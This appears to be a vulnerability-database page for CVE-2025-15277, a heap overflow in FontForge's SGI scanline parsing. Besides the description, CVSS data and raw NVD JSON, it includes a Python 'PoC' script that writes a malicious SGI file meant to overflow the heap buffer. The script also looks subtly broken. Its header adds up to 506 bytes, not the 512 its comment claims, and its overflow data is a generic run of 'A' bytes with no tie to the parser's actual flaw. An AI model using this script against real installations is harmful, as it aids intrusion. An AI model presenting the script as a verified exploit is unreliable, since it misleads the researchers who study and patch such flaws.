Security Vulnerability Report
中文
CVE-2025-15277 CVSS 7.8 HIGH

CVE-2025-15277

Published: 2025-12-31 07:15:52
Last Modified: 2026-01-07 16:02:09

Description

FontForge GUtils SGI File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of scanlines within SGI files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27920.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:20251009:*:*:*:*:*:*:* - VULNERABLE
FontForge < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15277 PoC - Malicious SGI File Generator # This PoC generates a malicious SGI file that triggers heap buffer overflow in FontForge # Reference: ZDI-CAN-27920 import struct import sys def create_malicious_sgi_file(output_path): """ Create a malicious SGI file to trigger heap buffer overflow in FontForge The vulnerability exists in scanline parsing without proper length validation """ # SGI Header (512 bytes) magic = 474 # SGI magic number storage_format = 0 # VERBATIM num_channels = 1 # Single channel (grayscale) width = 256 height = 256 # Calculate a size that will cause overflow # The vulnerability is in scanline parsing - we provide data longer than expected pixel_offset = 512 # Offset to pixel data # Create SGI header sgi_header = struct.pack('>HH', magic, storage_format) sgi_header += struct.pack('>H', num_channels) sgi_header += struct.pack('>III', width, height, 1) # dimensions # Names, comment, etc. sgi_header += b'\x00' * 80 # name sgi_header += struct.pack('>I', 0) # color map sgi_header += b'\x00' * 404 # remaining header space # Calculate malicious scanline size (exceed buffer boundaries) # Normal scanline size would be width * bytes_per_channel # We craft data that overflows the heap buffer malicious_scanline_size = width * 2 # Intentionally overflow # Create malicious pixel data # This triggers buffer overflow when parsed by vulnerable code pixel_data = b'A' * (height * malicious_scanline_size) # Write the malicious SGI file with open(output_path, 'wb') as f: f.write(sgi_header) f.write(pixel_data) print(f"[+] Malicious SGI file created: {output_path}") print(f"[+] File size: {len(sgi_header) + len(pixel_data)} bytes") print(f"[+] Scanline size: {malicious_scanline_size} bytes (overflow: {malicious_scanline_size - width} bytes)") if __name__ == "__main__": output_file = "CVE-2025-15277_poc.sgi" create_malicious_sgi_file(output_file) print("\n[!] This PoC is for educational and security research purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15277", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:52.037", "lastModified": "2026-01-07T16:02:08.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge GUtils SGI File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of scanlines within SGI files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27920."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en el análisis de archivos SGI de FontForge GUtils. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe dentro del análisis de las líneas de exploración en archivos SGI. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-27920."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:20251009:*:*:*:*:*:*:*", "matchCriteriaId": "1C318A12-82C3-4AD4-9BDF-A7B485A20A38"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1186/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}